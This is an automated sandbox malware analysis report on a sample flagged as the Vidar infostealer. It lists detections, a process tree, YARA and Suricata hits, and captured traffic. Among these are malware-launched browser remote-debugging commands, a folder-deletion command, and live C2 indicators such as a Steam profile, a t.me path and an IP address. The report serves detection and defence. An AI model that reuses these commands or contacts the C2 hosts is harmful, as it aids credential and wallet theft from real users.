Edit tour

Windows Analysis Report
aD7D9fkpII.exe

Overview

General Information

Sample name:	aD7D9fkpII.exe renamed because original name is a hash value
Original sample name:	6b3fbdaf99ece34f12dc443f1c630812.exe
Analysis ID:	1581195
MD5:	6b3fbdaf99ece34f12dc443f1c630812
SHA1:	6c553ac99295ba2d02d6aadfc71073d62b2dc414
SHA256:	68c5557aaa47968336253c86db39f8526d677dc8f0357bc2122ffe3c6a7915b1
Tags:	exeLummaStealeruser-abuse_ch
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Monitors registry run keys for changes

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

aD7D9fkpII.exe (PID: 6408 cmdline: "C:\Users\user\Desktop\aD7D9fkpII.exe" MD5: 6B3FBDAF99ECE34F12DC443F1C630812)

conhost.exe (PID: 348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aD7D9fkpII.exe (PID: 572 cmdline: "C:\Users\user\Desktop\aD7D9fkpII.exe" MD5: 6B3FBDAF99ECE34F12DC443F1C630812)

aD7D9fkpII.exe (PID: 4712 cmdline: "C:\Users\user\Desktop\aD7D9fkpII.exe" MD5: 6B3FBDAF99ECE34F12DC443F1C630812)

aD7D9fkpII.exe (PID: 6584 cmdline: "C:\Users\user\Desktop\aD7D9fkpII.exe" MD5: 6B3FBDAF99ECE34F12DC443F1C630812)

chrome.exe (PID: 4760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2304,i,13937775269766581777,3924065134902446641,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8004 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1524 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2636,i,10720928867294864621,14474913477084532862,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 3868 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\TRQ9ZCBA1N7Q" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 8256 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 1560 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6408 -s 372 MD5: C31336C1EFC2CCB44B4326EA793040F2)

msedge.exe (PID: 5500 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7500 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6544 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8520 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6640 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2333287730.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x2148c:$str01: MachineID: 0x1fe51:$str02: Work Dir: In memory 0x214c3:$str03: [Hardware] 0x21475:$str04: VideoCard: 0x20ae5:$str05: [Processes] 0x20af1:$str06: [Software] 0x1ffbb:$str07: information.txt 0x21198:$str08: %s\* 0x211e5:$str08: %s\* 0x203a2:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x20961:$str12: UseMasterPassword 0x214cf:$str13: Soft: WinSCP 0x20f6e:$str14: <Pass encoding="base64"> 0x214b2:$str15: Soft: FileZilla 0x1ffad:$str16: passwords.txt 0x2098c:$str17: build_id 0x247a0:$str17: build_id 0x257a0:$str17: build_id 0x20a80:$str18: file_data
Process Memory Space: aD7D9fkpII.exe PID: 6408	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: aD7D9fkpII.exe PID: 6408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: aD7D9fkpII.exe PID: 6584	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: aD7D9fkpII.exe PID: 6584	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: aD7D9fkpII.exe PID: 6584	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.aD7D9fkpII.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.2.aD7D9fkpII.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.aD7D9fkpII.exe.400000.0.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x2148c:$str01: MachineID: 0x1fe51:$str02: Work Dir: In memory 0x214c3:$str03: [Hardware] 0x21475:$str04: VideoCard: 0x20ae5:$str05: [Processes] 0x20af1:$str06: [Software] 0x1ffbb:$str07: information.txt 0x21198:$str08: %s\* 0x211e5:$str08: %s\* 0x203a2:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x20961:$str12: UseMasterPassword 0x214cf:$str13: Soft: WinSCP 0x20f6e:$str14: <Pass encoding="base64"> 0x214b2:$str15: Soft: FileZilla 0x1ffad:$str16: passwords.txt 0x2098c:$str17: build_id 0x247a0:$str17: build_id 0x257a0:$str17: build_id 0x20a80:$str18: file_data
5.2.aD7D9fkpII.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.2.aD7D9fkpII.exe.400000.0.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x2068c:$str01: MachineID: 0x1f051:$str02: Work Dir: In memory 0x206c3:$str03: [Hardware] 0x20675:$str04: VideoCard: 0x1fce5:$str05: [Processes] 0x1fcf1:$str06: [Software] 0x1f1bb:$str07: information.txt 0x20398:$str08: %s\* 0x203e5:$str08: %s\* 0x1f5a2:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x1fb61:$str12: UseMasterPassword 0x206cf:$str13: Soft: WinSCP 0x2016e:$str14: <Pass encoding="base64"> 0x206b2:$str15: Soft: FileZilla 0x1f1ad:$str16: passwords.txt 0x1fb8c:$str17: build_id 0x1fc80:$str18: file_data

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\aD7D9fkpII.exe", ParentImage: C:\Users\user\Desktop\aD7D9fkpII.exe, ParentProcessId: 6584, ParentProcessName: aD7D9fkpII.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 4760, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:10.738391+0100	2044247	1	Malware Command and Control Activity Detected	188.245.216.205	443	192.168.2.5	49714	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:13.235322+0100	2051831	1	Malware Command and Control Activity Detected	188.245.216.205	443	192.168.2.5	49716	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:10.737976+0100	2049087	1	A Network Trojan was detected	192.168.2.5	49714	188.245.216.205	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:05.916706+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.5	49708	188.245.216.205	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2333287730.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

Multi AV Scanner detection for submitted file

Source: aD7D9fkpII.exe	Virustotal: Detection: 56%			Perma Link
Source: aD7D9fkpII.exe	ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for sample

Source: aD7D9fkpII.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_004078F0 lstrlenA,CryptUnprotectData,lstrlenA,

5_2_004078F0

Source: aD7D9fkpII.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49769 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.216.205:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: aD7D9fkpII.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_008963B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_008963B5
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00896304 FindFirstFileExW,	0_2_00896304
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_008963B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_008963B5
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00896304 FindFirstFileExW,	2_2_00896304
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00409460 FindFirstFileA,CopyFileA,FindNextFileA,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,	5_2_00409460
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004170D0 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindClose,	5_2_004170D0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00401730 FindFirstFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,_invalid_parameter_noinfo_noreturn,	5_2_00401730
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0040A5D0 FindFirstFileA,FindNextFileA,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,StrCmpCA,StrCmpCA,	5_2_0040A5D0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00414BD0 FindFirstFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,_invalid_parameter_noinfo_noreturn,RegOpenKeyExA,	5_2_00414BD0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00406FE0 FindFirstFileA,??3@YAXPAX@Z,_invalid_parameter_noinfo_noreturn,	5_2_00406FE0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00413FF0 FindFirstFileA,memset,memset,FindNextFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,memset,strtok_s,memset,strtok_s,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,_invalid_parameter_noinfo_noreturn,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrlenA,	5_2_00413FF0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0040C790 FindFirstFileA,FindNextFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,CopyFileA,DeleteFileA,_invalid_parameter_noinfo_noreturn,	5_2_0040C790
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004081B0 ExpandEnvironmentStringsA,FindFirstFileA,FindNextFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,StrCmpCA,Sleep,CopyFileA,memset,CopyFileA,DeleteFileA,memset,_invalid_parameter_noinfo_noreturn,	5_2_004081B0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_00413FF0 FindFirstFileA,memset,memset,FindNextFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,memset,strtok_s,memset,strtok_s,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,_invalid_parameter_noinfo_noreturn,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrlenA,

5_2_00413FF0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 12MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.5:49714 -> 188.245.216.205:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.5:49708 -> 188.245.216.205:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 188.245.216.205:443 -> 192.168.2.5:49716
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 188.245.216.205:443 -> 192.168.2.5:49714

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199809363512

Source: global traffic

HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 52.168.117.170 52.168.117.170
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49769 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.176
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.28
Source: unknown	TCP traffic detected without corresponding DNS query: 18.238.49.124
Source: unknown	TCP traffic detected without corresponding DNS query: 18.238.49.124
Source: unknown	TCP traffic detected without corresponding DNS query: 18.238.49.124
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.201.28

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_00404280 InternetOpenA,InternetConnectA,HttpSendRequestA,InternetReadFile,

5_2_00404280

Source: global traffic	HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: bijutr.shopConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
